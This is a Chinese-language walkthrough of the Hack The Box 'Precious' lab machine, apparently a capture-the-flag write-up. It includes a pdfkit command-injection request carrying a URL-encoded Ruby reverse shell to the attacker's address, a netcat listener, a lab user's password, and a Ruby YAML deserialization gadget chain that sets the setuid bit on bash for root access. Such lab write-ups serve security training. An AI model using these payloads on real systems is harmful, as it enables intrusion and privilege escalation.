HTB-Precious-WriteUp
字数 685 2025-08-29 08:29:42
HTB Precious 靶机渗透测试详细教程
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始扫描:
nmap -sV -sC -oA nmap/initial 10.10.11.189
1.2 Web服务发现
- 访问IP地址时发现重定向到一个域名
- 将域名添加到hosts文件:
echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts
2. Web应用分析
2.1 发现漏洞组件
通过抓包分析发现服务器使用了wkhtmltopdf 0.12.6,该版本存在SSRF漏洞。
2.2 进一步发现
在返回包中发现使用了pdfkit组件,这是一个Ruby库,用于HTML转PDF。
3. 漏洞利用
3.1 SSRF漏洞利用
使用Burp Repeater模块构造恶意请求:
POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=http%3A%2F%2F10.10.16.22%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.22%22%2C4444%29%27%60
3.2 反向Shell获取
在攻击机上设置监听:
nc -lvnp 4444
4. 权限提升
4.1 发现用户凭证
在/home/.bundle目录下发现用户henry的密码:
henry:Q3c1AqGHtoI0aXAYFH
4.2 检查sudo权限
sudo -l
输出显示可以使用root权限运行ruby脚本:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.yml
4.3 分析目标脚本
发现脚本使用相对路径加载dependencies.yml文件,存在路径劫持漏洞。
4.4 创建恶意YAML文件
在当前目录创建dependencies.yml文件,内容为:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /bin/bash
method_id: :resolve
4.5 执行提权
sudo /usr/bin/ruby /opt/update_dependencies.yml
4.6 获取root权限
/bin/bash -p
5. 总结
- 通过nmap扫描发现Web服务
- 发现wkhtmltopdf和pdfkit组件的SSRF漏洞
- 利用SSRF漏洞获取反向Shell
- 在系统中发现用户凭证
- 利用sudo权限配置不当实现提权
关键点:
- wkhtmltopdf 0.12.6的SSRF漏洞
- pdfkit的远程代码执行
- Ruby YAML反序列化漏洞
- sudo权限配置不当导致的提权